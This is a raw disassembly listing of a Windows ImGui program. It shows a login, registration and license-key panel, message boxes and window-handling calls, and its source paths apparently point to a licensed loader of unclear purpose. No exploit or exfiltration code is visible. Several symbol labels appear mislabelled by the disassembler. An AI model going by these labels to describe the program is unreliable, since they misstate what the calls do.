mov rbx, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rsi + 0x98]
mov rcx, qword [rbx + 0x40]
cmp qword [rcx + 8], rax
je 0x140053980
mov r8d, 0x64d
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rsi + 0x88]
mov byte [rsp + 0x48], r15b
lea rax, [0x1400e0d3f]
movss dword [rsp + 0x40], xmm10
lea r9, [rbp + 0xc0]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.no_name_panel__
mov rdx, rsi
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x60], xmm0
call fcn.140031910
call fcn.140011560
mov rcx, qword [0x140141150]
lea rdx, str.Inputs
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm12
addss xmm1, dword [0x1400e15a0]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r12b
mov dword [rbp + 0xc8], 0x43fa0000
mov dword [rbp + 0xcc], 0x43c80000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140006c70
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xc8]
lea rcx, str.Inputs
call fcn.14000af20
mov qword [rsp + 0x38], r15
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x30], r15
lea rcx, str.Username
mov dword [rsp + 0x28], r15d
mov r9d, 0x40
mov r8, r13
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rbp + 0xd0], 0x43910000
mov dword [rbp + 0xd4], 0x42480000
call fcn.14003dec0
mov qword [rsp + 0x38], r15
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x30], r15
lea rbx, [0x1401411c0]
mov dword [rsp + 0x28], r15d
lea rcx, str.Password
mov r8, rbx
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov dword [rbp + 0xd8], 0x43910000
xor edx, edx
mov dword [rbp + 0xdc], 0x42480000
call fcn.14003dec0
mov qword [rsp + 0x38], r15
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x30], r15
lea rdi, [0x140141170]
mov dword [rsp + 0x28], r15d
lea rcx, str.License
mov r8, rdi
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov dword [rbp + 0xe0], 0x43910000
xor edx, edx
mov dword [rbp + 0xe4], 0x42480000
call fcn.14003dec0
lea rdx, [rbp + 0xe8]
mov dword [rbp + 0xe8], 0x43910000
lea rcx, str.Login
mov dword [rbp + 0xec], 0x42480000
call fcn.140034fe0
test al, al
jne 0x140053ce9
xorps xmm0, xmm0
mov qword [rbp + 0x5c8], r15
movups xmmword [rbp + 0x5b8], xmm0
mov qword [rbp + 0x5d0], r15
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], r15b
jne 0x140053bb0
mov rdx, rbx
lea rcx, [rbp + 0x5b8]
call fcn.140041860
xorps xmm0, xmm0
mov qword [rbp + 0x5e8], r15
movups xmmword [rbp + 0x5d8], xmm0
mov qword [rbp + 0x5f0], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r8 + r13], r15b
jne 0x140053be7
mov rdx, r13
lea rcx, [rbp + 0x5d8]
call fcn.140041860
lea r8, [rbp + 0x5b8]
lea rdx, [rbp + 0x5d8]
lea rcx, [0x140141360]
call fcn.140069a50
cmp byte [0x140141590], r15b
lea rcx, [0x140141598]
movups xmm6, xmmword [0x140140158]
jne 0x140053c79
mov dword [0x1401416b8], r12d
call fcn.140040ee0
mov rdx, rax
lea rcx, [rbp + 0x900]
call fcn.140040fe0
lea rdx, [0x1400df5c0]
mov rbx, rax
lea rcx, [rbp + 0x920]
call fcn.140040fe0
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140045410
jmp 0x140053ce2
call fcn.140040ee0
mov rdx, rax
lea rcx, [rbp + 0x7a0]
call fcn.140040fe0
lea rdx, str.ERROR
mov rbx, rax
lea rcx, [rbp + 0x7c0]
call fcn.140040fe0
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140045410
lea rcx, [0x140141598]
call fcn.140040ee0
mov rdx, rax
lea r8, [0x1400df5c0]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
lea rbx, [0x1401411c0]
lea rdx, [rbp + 0xf0]
mov dword [rbp + 0xf0], 0x43910000
lea rcx, str.Register
mov dword [rbp + 0xf4], 0x42480000
call fcn.140034fe0
test al, al
je 0x140053e62
xorps xmm0, xmm0
mov qword [rbp + 0x608], r15
movups xmmword [rbp + 0x5f8], xmm0
mov qword [rbp + 0x610], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], r15b
jne 0x140053d37
mov rdx, rdi
lea rcx, [rbp + 0x5f8]
call fcn.140041860
xorps xmm0, xmm0
mov qword [rbp + 0x628], r15
movups xmmword [rbp + 0x618], xmm0
mov qword [rbp + 0x630], r15
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], r15b
jne 0x140053d70
mov rdx, rbx
lea rcx, [rbp + 0x618]
call fcn.140041860
xorps xmm0, xmm0
mov qword [rbp + 0x648], r15
movups xmmword [rbp + 0x638], xmm0
mov qword [rbp + 0x650], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r8 + r13], r15b
jne 0x140053da7
mov rdx, r13
lea rcx, [rbp + 0x638]
call fcn.140041860
lea r9, [rbp + 0x5f8]
lea r8, [rbp + 0x618]
lea rdx, [rbp + 0x638]
lea rcx, [0x140141360]
call fcn.14006c1e0
cmp byte [0x140141590], r15b
lea rcx, [0x140141598]
movups xmm6, xmmword [0x140140158]
je 0x140053e22
mov dword [0x1401416b8], r12d
call fcn.140040ee0
mov rdx, rax
lea rcx, [rbp + 0x7e0]
call fcn.140040fe0
lea rdx, [0x1400df5c0]
lea rcx, [rbp + 0x800]
jmp 0x140053e44
call fcn.140040ee0
mov rdx, rax
lea rcx, [rbp + 0x8c0]
call fcn.140040fe0
lea rdx, str.Notification
lea rcx, [rbp + 0x840]
mov rbx, rax
call fcn.140040fe0
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140045410
call fcn.14000b280
call fcn.140049230
call fcn.1400455a0
mov rcx, qword [0x140141150]
lea rdx, [rbp + 0xf8]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.Move_detector
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm10
addss xmm1, xmm10
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r12b
movss xmm0, dword [0x140140098]
movss xmm1, dword [0x14014009c]
movss dword [rbp + 0xf8], xmm0
movss dword [rbp + 0xfc], xmm1
call fcn.1400356a0
mov rax, qword [0x140141150]
mov ecx, dword [rax + 0x3f30]
test ecx, ecx
je 0x140053fa1
cmp ecx, dword [rax + 0x476c]
jne 0x140053fa1
mov rcx, qword [0x140141218]
lea rdx, [0x140141238]
call qword [sym.imp.USER32.dll_GetWindowRect]
movss xmm6, dword [0x1400e1608]
lea rcx, [rbp + 0x718]
cvttss2si edi, dword [0x14014009c]
cvttss2si esi, dword [0x140140098]
movaps xmm2, xmm6
call fcn.1400126a0
movd xmm0, dword [0x14014123c]
lea rcx, [rbp + 0x6f0]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm6
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.1400126a0
mov r9d, esi
mov rcx, qword [0x140141218]
mov r8d, ebx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x140141238]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
call fcn.1400109d0
mov rdi, qword [0x140141218]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14005401e
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140054015
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x6b8]
mov qword [rbp + 0x548], rcx
lea rdx, [rbp + 0x540]
mov rcx, rdi
mov dword [rbp + 0x540], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x6b8], xmm0
mov dword [rbp + 0x550], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
call fcn.14000a740
mov rcx, qword [0x1401416c8]
lea r8, [0x1401416a8]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x6a8], xmm0
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1401416c8]
lea r8, [rbp + 0x6a8]
mov rdx, qword [0x1401416a8]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x140141150]
cmp dword [rbx + 0x48a0], r15d
jg 0x140054092
mov r8d, 0x700
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
mov rcx, qword [rax]
mov rax, r15
add rcx, 0x48
cmp byte [rcx], r15b
cmovne rax, rcx
mov rcx, rax
call fcn.1400424e0
mov rcx, qword [0x1401416b0]
xor r8d, r8d
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x40]
jmp 0x14004fea4
mov ecx, 6
mov dword [rbp + 0x1c8], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1d8], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1e8], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1f8], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x208], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x218], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x228], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x108], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x118], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x128], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x138], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rbp + 0x148], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x158], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x168], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x178], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x188], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x198], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1a8], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov rcx, qword [0x1401416a8]
test rcx, rcx
je 0x140054240
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401416a8], r15
mov rcx, qword [0x1401416b0]
test rcx, rcx
je 0x140054259
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401416b0], r15
mov rcx, qword [0x1401416c8]
test rcx, rcx
je 0x140054272
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401416c8], r15
mov rcx, qword [0x1401416c0]
test rcx, rcx
je 0x14005428b
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401416c0], r15
mov rdx, qword [rbp + 0x3b8]
mov rcx, qword [rbp + 0x3e0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x14004f406
mov ecx, r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1b8], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3